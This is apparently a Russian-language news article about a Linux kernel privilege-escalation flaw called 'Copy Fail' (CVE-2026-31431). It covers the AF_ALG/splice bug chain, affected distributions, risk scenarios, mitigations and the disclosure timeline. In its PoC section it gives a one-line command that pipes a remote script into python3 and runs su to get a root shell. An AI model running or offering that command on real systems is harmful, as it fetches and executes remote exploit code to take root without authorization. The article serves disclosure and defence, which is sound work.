← Вернуться к списку

732 байта против всего Linux: эпическая уязвимость скрывалась почти десять лет

itadol5j

Уязвимость Copy Fail

🚨 Эпическая уязвимость: 732 байта против всех Linux, почти десять лет в тени

Публично раскрыта уязвимость ядра Linux под названием«Copy Fail» (CVE-2026-31431):

  • 732 байтаPython-кода
  • 100% надёжность, без гонок и офсетов ядра
  • затрагивает все дистрибутивы Linux (с 2017 года по настоящее время)
  • примитив выхода из контейнера, атаки между арендаторами
  • почти десять лет в тени, раскрыта 29 апреля 2026 года

Один и тот же скрипт работает вUbuntu, RHEL, Amazon Linux, SUSEбез каких-либо изменений.

🎯 Суть уязвимости

Единичный логический дефект

Copy Fail — этолинейный логический дефект:

  • не требует окна гонки: в отличие от большинства Linux LPE, где нужен race condition
  • не требует офсетов ядра: не нужны специфичные для ядра смещения
  • 100% надёжность: срабатывает каждый раз
  • один и тот же скрипт: работает на всех дистрибутивах

Цепочка эксплойта

Цепочка атаки Copy Fail:

  • логическая ошибка authencesn: один логический баг
  • AF_ALG: через криптографический API ядра
  • splice(): цепочка вызовов
  • 4-байтовая запись в page cache: итоговый примитив атаки
  • эксплуатируемость почти десять лет: с 2017 года до выхода патча

📊 Масштаб поражения

Официально проверенные дистрибутивы

Дистрибутив Версия ядра Статус
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Подтверждено
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Подтверждено
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Подтверждено
SUSE 16 6.12.0-160000.9-default ✅ Подтверждено

Другие затронутые дистрибутивы

Следующие дистрибутивытакже затронуты:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • встраиваемые Linux (embedded)

Вывод: если ваше ядро собрано в период с 2017 года до патча —вы уязвимы.

💡 Сценарии высокого риска

Сценарий Риск Воздействие
Мультиарендные Linux-хосты Высокий любой пользователь становится root
Кластеры Kubernetes / контейнеров Высокий атаки между контейнерами и арендаторами
CI Runner / Build Farm Высокий PR получает root на runner
Облачные SaaS, исполняющие код пользователей Высокий арендатор получает root хоста
Стандартные Linux-серверы Средний внутренняя LPE, можно выстроить цепочку
Однопользовательские ноутбуки Низкий шаг эскалации привилегий после проникновения

🔧 Меры снижения риска

Вариант 1: обновить ядро (рекомендуется)

обновите ядро до версии, содержащейmainline commit a664bf3d603d:

  • Что исправлено: откат оптимизации in-place в algif_aead 2017 года
  • Эффект: страницы page cache больше не попадают в записываемый destination scatterlist
  • Статус: большинство основных дистрибутивов уже выпустили патчи

Вариант 2: отключить модуль algif_aead (временно)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Влияние отключения algif_aead

Компонент Влияние
dm-crypt / LUKS не затрагивается
kTLS / IPsec не затрагивается
OpenSSL / SSH не затрагивается
Пользовательское пространство AF_ALG может быть затронуто

Вывод: для большинства систем отключение algif_aeadне имеет заметных последствий.

Вариант 3: блокировать AF_ALG через seccomp

Для недоверенных рабочих нагрузок (контейнеры, песочницы, CI) блокируйте создание AF_ALG-сокетов через seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Демонстрация PoC

PoC уязвимости опубликован, чтобы защитники могли проверить свои системы:

Быстрый запуск

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Подробности PoC

  • Размер файла: 732 байта
  • Язык: только стандартная библиотека Python 3.10+ (os, socket, zlib)
  • Цель по умолчанию: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Предупреждение: скрипт изменяет page cache setuid-бинарника; изменения не переживают перезагрузку, но root shell реален. Не запускайте в производственной среде.

📅 Хронология раскрытия

Дата Событие
2026-03-23 Сообщение в Linux kernel security team
2026-03-24 Первичное подтверждение
2026-03-25 Предложение и ревью патча
2026-04-01 Патч отправлен в mainline
2026-04-22 Присвоение CVE-2026-31431
2026-04-29 Публичное раскрытие

🔍 Первооткрыватель: Xint Code

Уязвимость обнаруженаXint Code:

  • Время сканирования: около 1 часа на сканирование подсистемы crypto/ ядра Linux
  • Способ обнаружения: аудит кода с помощью ИИ
  • Полный анализ: root cause, диаграммы, операторский промпт
  • Другие находки: одновременно обнаружены другие уязвимости высокой тяжести, ещё в скоординированном раскрытии

Достижения Xint Code

  • 0-day RCE: ZeroDay Cloud, разгром категории баз данных (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: финал DARPA AI Cyber Challenge
  • DEF CON CTF 9×: самая титулованная команда в истории DEF CON CTF

📝 Итоги

Copy Fail (CVE-2026-31431) — этоэпическая уязвимость ядра Linux:

  • 732 байта против всех Linux (с 2017 года по настоящее время)
  • 100% надёжность, единичный логический дефект
  • выход из контейнера, атаки между арендаторами
  • почти десять лет в тени, раскрыта 29 апреля 2026 года
  • сценарии высокого риска: мультиарендные хосты, контейнерные кластеры, CI Runner, SaaS
  • смягчение: обновить ядро или отключить algif_aead
  • первооткрыватель: Xint Code, аудит кода с помощью ИИ

Эпическая уязвимость почти десятилетней выдержки — один скрипт против всех Linux.

Сайт уязвимости:https://copy.fail

PoC на GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431

Технический анализ:https://xint.io/blog/copy-fail-linux-distributions

Патч ядра:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5